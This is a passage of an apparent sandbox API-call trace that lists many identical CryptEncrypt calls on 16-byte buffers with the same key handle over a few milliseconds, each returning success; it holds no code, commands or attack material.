hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.947] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.948] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.949] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.949] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.949] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.949] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.949] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.949] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.950] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.951] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.952] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0095.953] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, 